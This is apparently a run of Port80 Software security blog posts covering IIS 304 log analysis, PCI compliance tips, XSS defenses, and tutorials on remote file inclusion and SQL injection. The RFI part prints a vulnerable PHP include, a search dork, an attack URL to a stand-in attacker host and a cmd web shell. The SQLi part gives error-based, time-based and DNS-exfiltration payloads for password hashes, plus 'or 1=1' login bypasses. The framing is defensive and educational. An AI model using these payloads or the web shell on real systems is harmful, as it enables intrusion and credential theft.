If 304s constitute a large proportion of the responses in those logs, then an expiration-based cache control solution like CacheRight can help to reduce the need for these requests from browsers, freeing up server resources to serve actual content to users that need it.

Side Note: If the problem is not excessive 304s but just an increase in the number of 200OKs, then compression (e.g., httpZip) might be a more effective remedy for the performance lag.

Testing

In order to tell if CacheRight will help speed up your users’ page load times, we’ve written a little script for use with Microsoft’s Log Parser tool (which itself is free). The following script contains a SQL query you can run against your IIS log files, to determine the proportion of 304s to other responses:

SQL Query to enumerate requests in IIS Log File by response code.

SELECT sc-status AS StatusCode,
COUNT(*) AS NumberOfHits
FROM %inputfile%
GROUP BY StatusCode
ORDER BY NumberOfHits DESC

To run this query you will need to download Log Parser 2.2.

Just copy the above script into a text file and save it with a .sql extension. You will want to open a cmd window and change to a current working directory that contains all of the following:

• Your .sql script file
• Logparser.exe
• All of IIS log files that you want to include in the analysis

Here is the syntax to execute the .sql script on the command line (assuming you called the file myscriptfile.sql):

logparser file:myscriptfile.sql?inputfile=ex*.log > outfile.txt

When you run this, the resulting output file (outfile.txt) should contain a simple table enumerating how many HTTP responses of each type (200, 302, 304, etc.) were found in your IIS logs.

As simple as this script is, it really contains the key metric for determining if you can benefit from CacheRight (that is, from expiration-based cache control).  Here is an example of the type of output you might see if you have a situation where CacheRight can help (the exact numbers aren’t important, just the proportions):

StatusCode NumberOfHits
———-       ————

304        751762
200        301112
302        32932
404        2132
400        1456
500        687
206        243
301        14

Statistics:
———–

Elements processed: 933293
Elements output: 8
Execution time: 6.37 seconds

Based on the above sample data, it’s clear that this server could benefit from being relieved of the burden of having to send so many 304 Not Modified messages. As you can see, there are many more 304 Not Modified responses than 200 OK responses.  What this means is that the server is using far more of its available resources just to tell browsers to use the cached copies of files they already have, than to actually send them new content that they need.

In this case, implementing expiration-based cache control on static dependencies like images and JS and CSS files (which is what CacheRight does best) should greatly reduce the proportion of 304 responses that the server has to issue. That would free up those resources to serve content that actually needs to be sent afresh.

And keep in mind that doing expiration-based cache control will also let browsers use most files directly from their local caches, without having to revalidate them by issuing these requests to the server and waiting for the 304 responses to come back.  Since the 304s represent files that were in fact fresh at the time the requests were made (after all that is what a 304 response means), the 304 count is really a measure of the total number of unnecessary round trips that return visitors’ browsers are having to perform before the pages they are viewing can be completely rendered.  And more round trips mean slower-loading pages.

So how low should you want your 304 count to go? While a certain number of 304s is normal and desirable, you should ideally aim to get the proportion of down to something under 10% of the total number of 200 OKs. Anything above that, and you’re likely wasting perfectly good server and network resources, and quite literally <em>making your users wait for nothing</em>.

So check that 304 count! You may just find that implementing proper cache control is quick-and-easy way to improve both your site’s page load times and your server’s traffic-handling capacity.

• Encrypt cardholder data.
• Use products that are approved for the PCI standard.
• Understand the concept of compensating controls.
• Organize PCI compliance as an on-going, cross-functional project–not as a one-time event.
• Understand your cardholder information business process from end to end.
• Take the time to read and understand the PCI Data Security Standard.

Don’t:

• Store unnecessary cardholder data beyond receiving the authorization code.
• Be lulled into thinking that you would not be a target for criminals.
• Try to create your own crypto solutions.
• Assume your vendor is protecting you.

Some good reads around the web on PCI compliance:

Four PCI Mistakes to Avoid

1 - Treating PCI as a technology checklist
Many organizations think of PCI as a checklist of things they must do periodically to satisfy the auditors. They do the minimum once, document it, and give the resulting report to the auditors. Instead, organizations need to make PCI a continuous part of their normal operations, which dramatically lowers the risk of exposing cardholder data and of the problems and liabilities that would follow.

Read More…

PCI DSS: Myths, Mistakes, Misconceptions 2009

M1 - PCI just doesn’t apply to us … Myth: PCI just doesn’t apply to us, because… • “… we are small, a University, don‟t do e-commerce, outsource “everything”, not permanent entity, etc” Reality: PCI DSS DOES apply to you if you “accept, capture, store, transmit or process credit and debit card data”, no exceptions! At some point, your acquirer will make it clear to you!

See the presentation…

Top 10 mistakes in PCI compliance

As more ISOs and acquiring banks initiate programs mandating Level 4 merchant compliance with the Payment Card Industry (PCI) Data Security Standard (DSS), they are coming face to face with a harsh reality: It’s one thing to establish a PCI compliance policy to help prevent theft of cardholder data. It’s quite another to bring your small and mid-sized merchants on board.

Read More…

** Do’s and Don’ts (source: http://searchsecurity.techtarget.com/magazineFeature/0,296894,sid14_gci1257098,00.html)

Database Security: Tips for Securing a Database for Small Business

Enable Security Controls: Unlike older databases, the newer databases require passwords to gain full access to the stored data. Often when the databases are shipped, none of the security features are enabled. Make sure you check the security controls and enable all of the features before allowing anyone access to the database.

Read More…

Securing Your Database — Top 10 Tips for Government Organizations

1. Secure Your Data Against Internal and External Threats

When securing the data in your database it’s important to think about internal as well as external threats. To prevent external intrusion you must safeguard database accounts, ensure that you have applied the latest security patches to your IT environment and make sure that the database is secured inside a firewall. You should also think about the internal threats posed by employees who may be considering moving to another line of work, setting up their own companies, or otherwise considering leveraging your information to their benefit and your detriment. Ensure that you restrict access to the most sensitive data on an as-needed basis, and consider auditing all data access.

Read More…

Fifteen tips for properly securing IIS Web servers

1. Maintain Windows updates: Staying on top of critical updates and security patches is the easiest security measure to take. Consider downloading updates to a dedicated machine on your network and pushing out the updates to the Web servers from that machine. By doing so, you can prevent your Web server from ever engaging in direct Internet browsing.

Read More…

Six steps to securing your Web server

1. Use separate servers for internal and external applications.
Given that organizations typically have two, separate classes of Web applications, those serving internal users and those serving external users, it’s prudent to place those applications on different servers. Doing so reduces the risk of a malicious user penetrating the external server to gain access to sensitive internal information. If you don’t have the resources to implement this at your disposal, you should at least consider using technical controls (such as process isolation) to keep internal and external applications from interacting with each other.

Read More…

How to identify and evaluate threats

Use threat modeling to systematically identify threats rather than applying security in a haphazard manner. Next, rate the threats based on the risk of an attack or occurrence of a security compromise and the potential damage that could result. This allows you to tackle threats in the appropriate order.

Read More…

Twitter fixes XSS flaw after being exploited

http://inform.com/science-and-technology/twitter-fixes-xss-flaw-exploited-1107170a

Django 1.2.2 released to close XSS enabling hole

http://www.h-online.com/security/news/item/Django-1-2-2-released-to-close-XSS-enabling-hole-1075945.html

SQL Injection and XSS vulnerabilities in CubeCart version 4.3.3

http://seclists.org/fulldisclosure/2010/Sep/163

Adobe Reader 0-day vulnerability (CVE-2010-2883)

http://community.websense.com/blogs/securitylabs/archive/2010/09/09/cve-2010-2883-critical-vulnerability-in-adobe-reader.aspx

Cybercriminals Creating Nearly 60,000 Fake Websites to Trick and Infect Users Each Week, Reports PandaLabs

http://www.marketwatch.com/story/cybercriminals-creating-nearly-60000-fake-websites-to-trick-and-infect-users-each-week-reports-pandalabs-2010-09-09?reflink=MW_news_stmp

Remote File Inclusion (RFI) is a type of vulnerability that allows an attacker to include a remote file, usually through a script, on the target Web server. RFI occurs due to the use of user supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:

• Code execution on the web server
• Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS).
• Denial of Service (DoS)
• Data Theft/Manipulation

While in principle RFI can work against a variety of Web application platforms (like .NET and J2EE) in practice it is one of the most common types of attack against web applications written in PHP (including Mambo, Joomla, components, templates, etc.). PHP is particularly vulnerable to RFI attacks due to the extensive use of “file includes” in PHP programming and due to default server configurations that increase susceptibility to an RFI attack.

Most PHP applications are divided up into a number of files. When the application runs, only those files that are actually needed to perform the requested operation are loaded into memory - thus saving server resources. Different operations may require different files to be loaded or ‘included’ (the command that loads a file is called ‘include’ in PHP). This type of attack would typically happen only if PHP is configured so that both ‘register_globals’ and ‘allow_url_fopen’ are switched on.

An example of how a RFI attack works:

If a Web site is coded in PHP and is using a GET page command:

<?php

  $file =$_GET['page']; //The page we wish to display

  include($file);

?>

A simple search on Google:

"inurl:index.php?page="

And Joe Hacker is able to find sites that may be vulnerable to an RFI attack by exploiting the query parameter “page”.

This attacker could then insert his malicious script by doing the following:

http://www.example.com/index.php?page=http://www.hackserver.com/evil_script.txt?

The text file “evil_script.txt” contains some code that could look something like this:

<?php

echo “<script>alert(U 4r3 0wn3d !!);</script>”;
echo “Run command: “.htmlspecialchars($_GET['cmd']);

system($_GET['cmd']);

?>

That when executed properly will allow you to exploit the include function and will test if the site is in fact RFI vulnerable.

So why can an attacker do this? Well the simple answer is because the include() function allows you to link to remote files, and an attacker can take advantage of that feature, as in the example above. Note however that this kind of attack isn’t only open to the include function, require_once() will also work.

Other PHP commands vulnerable to RFI are include_once, fopen, file_get_contents, require and require_once.

A few interesting details: You might be wondering why the script that the attacker uses is a .txt and not a .php file. The answer: if the script was a .php and the attacker’s server had php installed then the script would get executed on the attacker’s server and not the target. You will also notice that there is a “?” at the end of the example above; this is added so that anything that might be already inside the include() function can be removed. By having the “?” on the end of the script we are going to treat the .php as if it is a var that is getting passed to the script.

What you can do to fight RFI on your server:

Preventing remote file include flaws takes some careful planning at the architectural and design phases, through to thorough testing. In general, a well-written application will not use user-supplied input in any filename for any server-based resource (such as images, XML and XSL transform documents, or script inclusions), and will have firewall rules in place preventing new outbound connections to the Internet or internally back to any other server.

The best practice is to use multiple layers of defense against RFI attacks.

Mod Rewrite via .htaccess file (for Apache servers)

http://www.phpfreaks.com/tutorial/preventing-remote-file-include-attacks-with-mod-rewrite

Don’t Trust User Input

http://www.codeassembly.com/How-to-sanitize-your-php-input/

This type of attack can also be defended against by sanitizing the inputs. Input can also be sanitized directly in the PHP code.

Check all global arrays like $_GET, $_POST, $_REQUEST, $_COOKIE, allow only known variables and make sure that they contain the right type of data. What does this mean? It means that if you have a $_GET['id'] variable in your script which has to be an integer, always check it and make sure it is an integer. Also don’t allow other variables in $_GET or other globals, keep only variables that your scripts need. So, if your script only uses only one variable $_GET['id'] then dispose other variables.

Windows Based Security

If you are on Windows, and if code changes are not a practical option, then you should consider using a good Web Application Firewall that handles the sanitization of user input for you.

And of course, it’s not a bad idea to use a mixture of server-based and code-based strategies since, as with any Web app vulnerability, this ‘defense in depth’ lowers the odds of something dangerous getting through, because it happens to be a variant that one layer didn’t catch..

/P80

Sources:

• http://projects.webappsec.org/Remote-File-Inclusion
• http://www.theprohack.com/2010/07/simple-tutorial-on-remote-file.html
• http://www.phpfreaks.com/tutorial/preventing-remote-file-include-attacks-with-mod-rewrite
• http://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution
• http://www.codeassembly.com/How-to-sanitize-your-php-input/
• http://www.go4expert.com/forums/showthread.php?t=11836

Version 2.0 of PCI DSS and PA-DSS do not introduce any new major requirements. Key updates, clarifications and guidance include:

• Reinforcement of need for thorough scoping exercise prior to PCI DSS assessment in order to understand where cardholder data resides.
• Support for centralized logging included in PA-DSS to promote more effective log management.
• Validation, within certain requirements, of risk-based approach for addressing vulnerabilities, allowing organizations to consider their specific business circumstances and tolerance to risk when assessing and prioritizing vulnerabilities.
• Greater alignment between PCI DSS and PA-DSS to facilitate stronger security practices.

“The relatively minor revisions are a testament to the maturity of the standards and their ability to protect sensitive card data,” said Bob Russo, general manager, PCI Security Standards Council. “With the changes to the PCI DSS and PA-DSS outlined in advance, organizations will be better prepared to align their security programs with the updated standards and ensure security of their cardholder data.”

Ensure that you are complying to all current and future PCI standards by having an effective Web Application Firewall in place,  such as ServerDefender VP; an important part of an organizations overall Web security plan. To find out more information on how ServerDefender VP can help you with your Windows Server security strategy, visit our ServerDefender VP product page.

/P80

• Limiting Access to Data
• Enhancing the Security of Database Engine Connections
• Database Engine Security Configuration
• Limiting Access to Data
• Encrypting Sensitive Data

]]> http://blog.port80software.com/2010/08/09/security-checklists-for-iis/feed/ http://blog.port80software.com/2010/08/09/dont-let-xss-fake-out-traffic/ http://blog.port80software.com/2010/08/09/dont-let-xss-fake-out-traffic/#comments Mon, 09 Aug 2010 16:56:58 +0000 admin http://blog.port80software.com/?p=710 and Damage your Good Name

A Cross-Site Scripting (XSS) Overview

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications that enables attackers to inject client-side script into Web pages viewed by other users. XSS essentially compromises the trust relationship between a user and the Web site. As of 2007 XSS carried out on web sites was responsible for roughly 80% of all Internet security vulnerabilities as documented by Symantec.

The potential impact of a successful XSS attack may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigations implemented by the site’s owner.

Since XSS is merely a tactic, it can be used for a wide variety of malicious purposes, for example it can be used to:

• Steal cookies and hi-jack sessions
• Execute unintended Web site functionality
• Harass users with malicious code
• Alter any portion of the Web page
• Deface or DoS the website
• Violate the same-origin policy
• Aid in phishing scams

XSS is an indirect way for an attacker to fool your Web site visitors into revealing personal information or to exploit a secondary vulnerability on their desktop browser or within your Web site’s server. For example, XSS allows malicious users to hijack your users Web-based e-mail accounts, manipulate the customer settings on your Web site, or steal information sent in cookies, which may include your visitor’s bank account, credit card, or social security number.

The Web Application Security Consortium provides some very good examples of XSS attack types, including a useful classification of them into persistent, and non-persistent, and DOM-based attacks.

Assuming you cannot force your users to turn off client side scripting (and that maybe you would like to continue making use of it yourself), then you need to be aware of the various countermeasures for combating XSS.  Here are the most common ones:

Input Validation

Input validation, also referred to as HTML sanitization, is a standard way of eliminating XSS vulnerabilities.  This involves not trusting any user input until it has been subjected to some sort of test to make sure it does not contain any possible XSS exploits. Requests with undesirable characters in input fields might be rejected completely, or else the offending characters might stripped and/or replaced with alternative representations that cannot result in successful XSS attacks.  Such validation may be done using either a blacklist or whitelist approach, or some combination of both.

A blacklist (or negative security model) refers to a mechanism that allows all imputed characters as valid user input, except for those that are singled out (blacklisted) as being dangerous to the application.  Very simple anti-XSS blacklists often contain a small set of characters thought essential carrying out XSS attacks such as (PROVIDE EXAMPLES).  The blacklist approach has the advantage of being relatively easy to set up and maintain (often one list is used for all input fields).  But by the same token it is also relatively easy to evade with more sophisticated forms of XSS.

The whitelist (or positive security model) approach to input validation takes the opposite tack.  Rather than specifying which characters are not allowed, it allows no characters by default, except those that are known to be safe for the application (whitelisted). An example of this could be that a field in a form meant to receive U.S. social security numbers only allows four numeric characters separated by two dashes.  The benefit of a whitelist approach is that it is far harder to evade than a blacklist.  The trade-off is that implementing and maintaining a strict whitelist is generally far more difficult to do, since the appropriate list of allowed characters tends to vary with the type of field, and matching the correct list to the correct field requires up-to-date knowledge of the application’s details.

Output Escaping / Encoding

“Escaping” is a technique used to ensure that characters are treated as data, not as characters that are relevant to the interpreter’s parser. Escaping is the primary means to make sure that untrusted data can’t be used to convey an injection attack. There is no harm in escaping data properly - it will still render in the browser properly. Escaping simply lets the interpreter know that the data is not intended to be executed, and therefore prevents attacks from working.

Cookie security

Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies. To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, and only permit that IP to use that cookie. This approach can have serious drawbacks however due to the fact that many IP addresses cycle through an array of variable combinations do to proxy servers and load balancing. Another tactic is to expire unused session cookies.

Software

Web Application Firewalls (WAF) provide a valuable means of supplementing your Web security efforts. Along with well written code and input validation / sanitation, WAFs are another line of defense to ensure that your Web server is not a victim of a malicious attack and that your company can prove its PCI compliance as well.

Port80’s ServerDefender VP Web Application Firewall software blocks XSS attacks often used in conjunction with phishing, social engineering, and other browser exploits, ultimately preventing malicious HTML or client-side scripts from being injected into Web pages viewed by others.

In Conclusion

Protecting your Web site, and subsequently your visitors, against XSS and other Internet based attacks, is important for not only securing your valuable database information, but also for making sure that your organization can be seen as a trusted and responsible player in the Internet market.

/ P80

A SQL injection attack exploits the fact that in a typical dynamic Web site or application layer (ie. ASP.NET, PHP, etc) ultimately has access to a database layer. By using the application’s own code to get at the database, SQL injection attacks can do almost unlimited mischief: steal or corrupt sensitive data, host malware on the site, damage or even seize control of the entire application. This article provides a short overview of SQL injection and how it can be damaging to your Web applications.

There are two ways an attacker can identify SQL injection vulnerabilities:

Error messages: The first method used to identify and exploit SQL injection is through information provided by errors generated by the Web application during initial probing. These HTTP 500-range errors if not suppressed will often include the text of the offending SQL statement and/or the details of why it failed to execute properly. Such information is very helpful when crafting progressively more effective exploits because it helps the attacker discern database schema and other valuable clues about how the app is put together.

Blind Injection: Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.

SQL injection is broken up into 3 classes:

Inband - data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page

Example:

Input:
http://[site]/page.asp?id=1 or 1=convert(int,(USER))–

Output:
Syntax error converting the nvarchar value ‘[j0e]‘ to a column of data type int.

Out-of-band - data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester)

Example:

http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + ‘-’ +master.sys.fn_varbintohexstr(password_hash) + ‘.2.pwn3dbyj0e.com’ fromsys.sql_logins; exec(’xp_fileexist ”\\’ + @host + ‘\c$\boot.ini”’);–

Inferential - no actual data is transferred - rather, a difference in the way an application behaves can allow an attacker to infer the value of the data.

Example:

http://[site]/page.asp?id=1;if+not(select+system_user)+<>+’sa’+waitfor+delay+’0:0:5′–

(ask it if it’s running as ’sa’)

*source - http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf

SQL Injection attacks put you at great risk for:

• Unauthorized changes or deletion of sensitive business information
• Theft of customer information (ie social security numbers, addresses, and credit card numbers)
• Financial and Intellectual property loss
• Legal liability and PCI non-compliance

How to test if your Web site is vulnerable to attack

One of the simplest ways, among many, to test your Web site would be to input a break into the underlying code and insert a SQL expression that evaluates to True into the login or password form fields, or URL.

Example:

• Login: hi’ or 1=1–  /  Password: hi’ or 1=1–
  (hi’) breaks in the string (1=1) injection code (–) comment
• http://mysite/index.asp?id=hi’ or 1=1–
  In the query string of a request that looks like it is passing parameters back to the database

This is just the tip of the iceberg, for more robust testing procedures OWASP provides an extensive guide at:

http://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)

How to protect your Web server

There are a number of possible countermeasures these include:

• using a list of acceptable characters to constrain input
• using parameterized SQL for data access
• using a least privileged account that has restricted permissions in the database
• using stored procedures with parameterized SQL
  (recommended approach because SQL parameters are type safe)

A complete step-by-step guide to protecting against SQL injection can be found at:

http://msdn.microsoft.com/en-us/library/ff648339.aspx

All of the above countermeasures may require changes to existing code as well as careful maintenance to make sure best practices are being followed.  This might not always be practical and, even when it is, might not catch every vulnerabilty. A Web Application Firewall, such as Port80’s ServerDefender VP, can protect your database by scrutinizing incoming data and applying a set of strict Web application security controls. An effective Web Application Firewall becomes the gatekeeper to your Web application so you can rest assured that hackers cannot gain entry and wreak havoc with your most valuable Web-based assets.

/ P80

The Security Compliance Manager provides centralized security baseline management features, a baseline portfolio, customization capabilities, and security baseline export flexibility to accelerate your organization’s ability to efficiently manage the security and compliance process for the most widely used Microsoft technologies.

This tool allows you to access the complete database of Microsoft recommended security settings, customize your baselines, and then choose from multiple formats-including Desired Configuration Management (DCM) packs, Security Content Automation Protocol (SCAP), XLS, or Group Policy objects (GPOs)-to export the baselines to your environment and automate the security baseline compliance verification process.

Combining use of a professional Web Application Firewall with the Security Compliance Manager will enable you to achieve a secure, reliable, and centralized IT environment that will help you better balance your organization’s needs for security and functionality.

To get more information about downloading a copy of the Security Compliance Manager visit Microsoft’s TechNet site.

/ P80